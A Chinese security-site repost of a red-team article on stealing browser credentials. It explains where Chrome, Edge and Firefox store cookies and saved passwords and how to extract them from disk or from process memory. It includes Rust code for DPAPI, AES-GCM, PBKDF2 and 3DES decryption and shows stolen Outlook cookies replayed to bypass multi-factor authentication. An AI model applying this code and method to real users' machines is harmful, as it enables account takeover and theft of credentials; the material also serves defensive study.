攻防|浏览器凭据获取 — Cookies && Password_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

攻防|浏览器凭据获取 — Cookies && Password

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


攻防|浏览器凭据获取 — Cookies && Password

原文链接: https://xz.aliyun.com/t/14245 浏览器凭据获取 -- Cookies 简介:近几年流行多因素认证(MFA),个人认为也是以后的趋势;进入某些网站只拿到账号密码是不行的,这时就体现出cookie的重要性了,利用cookie绕过多因素认证在以后会经常用到,所以本文来简单的分析一下cookie获取和利用的思路; 获取方法: 获取本地浏览器cookies文件; 内存中获取cookies; Cookies 利用可行性分析 利用 cookie 登录其他用户outlook 该方法只是测试cookie无需账号密码登录的可行性 通过两台主机一台登录outlook账号,一台没登录outlook账号对比访问https://outlook.live.com/mail/0的过程; 先看没有outlook cookie的访问outlook邮箱,访问/mail/0后,会接着POST请求/owa/0/startupdata.ashx?app=Mail&n=0,响应码为440 Login Timeout,接着就会跳转至登录页面; 再看存在outlook cookie的访问outlook邮箱,POST请求/owa/0/startupdata.ashx?app=Mail&n=0,响应码为200;接着就会加载outlook邮箱页面了; 到此有一个猜想,如果我将响应码200的cookie复制到响应码440的cookie上去,可不可以直接进入其outlook?于是用burp将访问/owa/0/startupdata.ashx?app=Mail&n=0的POST请求拦截,将cookie换成存在前面响应码200的cookie,响应200,接着会获取加载outlook邮箱内容,但是只替换这一个包不够,如果后面的请求包中不包含登录成功用户的cookie一样会跳转到登录页面; 这里可以用浏览器插件Cookie-Editor,将登录成功的outlook cookie导出成json格式; 未登录outlook主机这边,burp开启拦截模式,直接访问https://outlook.live.vom/mail/0,将这个请求包Forward后,会请求svg邮箱动态图片,在这个时候继续用浏览器插件Cookie-Editor,将上面导出的json内容导入,然后burp停止拦截,即可成功登录; Cookie 窃取 本地提取cookies文件 提取cookie原理 chrome浏览器自行生成密钥,将cookie的值进行AES加密,将密文和其他信息保存到%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies中,将cookies文件赋值一份出来并将后缀改为.db; 再通过navicat打开即可看到cookies文件内容,其中encrypted_vlaue字段的内容及为加密后的cookie值; 加密cookie的密钥通过DPAPI加密保存至%LocalAppData%\Google\Chrome\User Data\Local State中,在json中"os_crypt"中的"encrypted_key"的值为加密密钥; 优缺点 优点: 无视cookie分区存储,只获取存储cookie,后面可以经过与网站交互获取动态cookie; 缺点: 需要关闭浏览器(否则cookies文件会被占用); 需要DPAPI解密(但是大部分杀软EDR不报警); 只能获取存储cookie,某些网站会存在动态cookie,直接导入会登录失败(outlook); 提取流程 提取cookies流程: 提取cookie文件密文; 提取加密密钥; 通过DPAPI将密钥解密; 再通过解密后的密钥AES解密cookie密文; chrome cookies加密流程图: 内存中提取cookies 提取cookies原理 基于Chromium 内核的浏览器在启动时调用CookieMonster 从磁盘 cookie 数据库加载所有 cookie;对目标主机内网进行内存扫描,通过特定浏览器特征码定位CookieMonster 内存地址并转储cookies。 优缺点 优点: 无需关闭浏览器进程; 获取对应网站的所有cookie(动态cookie+存储cookie),直接导入即可成功登录; 不需要用DPAPI解密; 缺点: 只能转储常规cookie,Chromium后面会将cookie分区存储; 提取流程 提取流程如下: 定位chrome进程pid; 在进程中寻找chrome.dll的基地址和大小; 通过三次特征查询定位CookieMonster 管理cookie的内存地址; 在CookieMonster地址中读取每个cookie内容; 工具地址: https://github.com/Meckazin/ChromeKatz cookies导入 如果是内存中获取cookies可以直接导入浏览器中;但是如果是通过提取本地cookie文件中的存储型cookie,某些网站(outlook等)需要进行一些交互,服务器会再给客户端一些session(动态cookie);在获取动态cookie时会比较麻烦,所以将获取到的cookie再导入到本地cookie文件中; 之前尝试了导入到chrome的cookie文件中,加密导入之后chrome不识别这些cookie,尝试了将本地cookies文件复制一份并将其注入、直接注入到原生的cookies文件中,这两种方法都不行,这里判断Chromium对cookies文件 进行类似完整性检查的操作; Chromium内核的浏览器不行,可以尝试下别的内核的浏览器,例如firefox,firefox浏览器存储的cookies是明文的,且不做完整性检测,可以将cookie注入到firefox的cookies文件中; 关键代码 DPAPI 解密代码: fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result> { let len = crypted_bytes.len(); let mut bytes = Vec::from(crypted_bytes); let pb = bytes.as_mut_ptr(); let mut blob = CRYPTOAPI_BLOB { pbData: pb, cbData: len as u32, }; let mut out = Vec::with_capacity(len); let mut blob_out = CRYPTOAPI_BLOB { pbData: out.as_mut_ptr(), cbData: out.len() as u32, }; unsafe { CryptUnprotectData( &mut blob, std::ptr::null_mut(), std::ptr::null(), std::ptr::null_mut(), std::ptr::null(), 0, &mut blob_out, ) .ok()?; let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize); LocalFree(blob_out.pbData as isize); Ok(slice.to_vec()) } } AES解密代码: pub fn decrypt_cookie(key: Vec, encrypted_value: Vec) -> (String, Vec) { if encrypted_value.len() == 0{ return (String::from(" "), Vec::new()); } let iv: &[u8] = &encrypted_value[3..15]; let encrypted_value = &encrypted_value[15..]; let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key)); if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) { if let Ok(decoded) = String::from_utf8(decrypted) { return(decoded, iv.to_vec()); } } return (String::new(), Vec::new()); } 浏览器凭据获取 -- Password 简介: 本文介绍提取三种常见浏览器密码的原理以及代码实现;只演示最新版。 获取方法: 获取浏览器密码存储文件并解密相关加密字段; 提取密码原理 Chromium Chrome密码文件路径:%LocalAppData%\Google\Chrome\User Data\Default\Login Data; Chrome密钥文件路径:%LocalAppData%\Google\Chrome\User Data\Local State Edge密码文件路径:%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data; Edge密钥文件路径:%LocalAppData%\Microsoft\Edge\User Data\Local State; 将该文件复制一份将后缀名改为db(本身就是sqlite),即可用数据库工具打开; 关键字段: origin_ur -- url username_value -- 账号 password_value -- 密码 加密类型: DPAPI加密、AES加密; 解密方法 Chromium内核的浏览器加密的密码跟cookies加密一样,都是调用DPAPI进行解密AES密钥,再用AES进行解密即可。 代码实现 DPAPI 解密代码: fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result> { let len = crypted_bytes.len(); let mut bytes = Vec::from(crypted_bytes); let pb = bytes.as_mut_ptr(); let mut blob = CRYPTOAPI_BLOB { pbData: pb, cbData: len as u32, }; let mut out = Vec::with_capacity(len); let mut blob_out = CRYPTOAPI_BLOB { pbData: out.as_mut_ptr(), cbData: out.len() as u32, }; unsafe { CryptUnprotectData( &mut blob, std::ptr::null_mut(), std::ptr::null(), std::ptr::null_mut(), std::ptr::null(), 0, &mut blob_out, ) .ok()?; let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize); LocalFree(blob_out.pbData as isize); Ok(slice.to_vec()) } } AES解密代码: pub fn decrypt_cookie(key: Vec, encrypted_value: Vec) -> (String, Vec) { if encrypted_value.len() == 0{ return (String::from(" "), Vec::new()); } let iv: &[u8] = &encrypted_value[3..15]; let encrypted_value = &encrypted_value[15..]; let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key)); if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) { if let Ok(decoded) = String::from_utf8(decrypted) { return(decoded, iv.to_vec()); } } return (String::new(), Vec::new()); } Firefox Firefox密码文件路径:C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json; 关键字段: hostname -- url; encryptedUsername -- 账号; encryptedPassword -- 密码; Firefox密钥文件路径:C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db; 加密类型:SHA256加密、3DES-CBC加密; 解密方法 算法解密 注:firefox中的masterpassword默认不设置(为空),如果设置则需要提供masterpassword进行解密,否则会解密失败; 解密过程: 通过提取key4.db中的metadata表和nssprivate表中的特定值进行SHA1和SHA256加解密处理获得3DES的密钥,然后将logins.json中的加密账号密码提取,进行3DES解密获得明文账号密码; 详细解密流程图: 代码实现 解密item跟解密a11的流程是一样的,decrypt_pbe函数演示了如何解密a11值,解析item只需要判断解析后的结果是否为"password-check"; DER解码+SHA1加密+SHA256解密代码: SHA1加密+PBKDF2解密获取SHA256的密钥: fn sha1_encrypt( entry_salt: Vec, interation_count: u32, hex_byte_salts: Vec, master_password: String ) -> Vec { let mut sha1_hasher = Sha1::new(); sha1_hasher.update(hex_byte_salts); sha1_hasher.update(master_password); let k = sha1_hasher.finalize().to_vec(); let mut key = vec![0u8; 32]; pbkdf2::> (&k, &entry_salt, interation_count, &mut key).unwrap(); key } SHA256解密获取3DES解密密钥: fn sha256_decrypt( key: Vec, iv: Vec, ciphert: Vec ) -> Vec { let key_array: &[u8; 32] = array_ref!(key, 0, 32); let cipher = Cipher::new_256(key_array); let decrypted = cipher.cbc_decrypt(&iv, &ciphert); log::debug!("decrypt_data is: {:?}",decrypted); decrypted[..24].to_vec() } DER解析获取加密需要的值: fn decrypt_pbe( a11: Vec, master_password: String, global_salt: String ) -> (Vec, u32, u64, Vec, Vec, Vec ) { let item = parse_der(&a11).unwrap(); assert_eq!(item.1[0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.13", "No encryption method recognized"); assert_eq!(item.1[0][1][0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.12", "No encryption method recognized"); assert_eq!(item.1[0][1][0][1][3][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.2.9", "No encryption method recognized"); assert_eq!(item.1[0][1][1][0].content.clone().as_oid().unwrap().to_string(), "2.16.840.1.101.3.4.1.42", "No encryption method recognized"); let entry_salt = item.1[0][1][0][1][0].content.as_slice().unwrap(); let interation_count = item.1[0][1][0][1][1].content.as_u32().unwrap(); let key_length = item.1[0][1][0][1][2].content.as_u64().unwrap(); assert_eq!(key_length, 32); let hex_byte_salts = hex::decode(global_salt.as_bytes()).unwrap(); log::debug!("all is: {:?}", item); log::debug!("global_salt is: {:?}", hex_byte_salts); log::debug!("key_length is: {:?}", key_length); log::debug!("interation_count is: {:?}", interation_count); let mut iv: Vec = Vec::new(); let iv_end = item.1[0][1][1][1].as_slice().unwrap(); iv.push(4); iv.push(14); iv.extend_from_slice(iv_end); let ciphert = item.1[1].as_slice().unwrap(); log::debug!("iv is: {:?}", iv); log::debug!("ciphert is: {:?}", ciphert); (entry_salt.to_vec(), interation_count, key_length, hex_byte_salts, iv, ciphert.to_vec()) } 3DES解密获取明文密码: pub fn des3_decrypt( key: Vec, encryptdata: &str ) -> String { log::debug!("encryptdata is: {}", encryptdata); log::debug!("key is: {:?}", key); let base53_data = base64::decode(encryptdata).unwrap(); let iv = &base53_data[34..42]; let mut ciphertext = base53_data[44..].to_vec(); type TDesCbc = Decryptor; let tdes = TDesCbc::new_from_slices(&key, iv).unwrap(); let result = tdes.decrypt_padded_mut::(&mut ciphertext).unwrap(); log::debug!("decrypt_data is: {:?}", String::from_utf8_lossy(result)); String::from_utf8(result.to_vec()).unwrap() } 调用dll解密 调用Firefox nss3.dll中的函数进行解密; nss3.dll调用函数: NSS_Init -- nss初始化; PK11_GetInternalKeySlot -- 获取内置的密钥槽(solt); PK11_CheckUserPassword -- 验证用户提供的密码是否与给定的密钥槽(slot)关联的用户密码匹配; PK11_Authenticate -- 对密钥槽(slot)进行授权; PK11SDR_Decrypt -- 解密; 参考代码: https://github.com/unode/firefox_decrypt 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

攻防|浏览器凭据获取 — Cookies && Password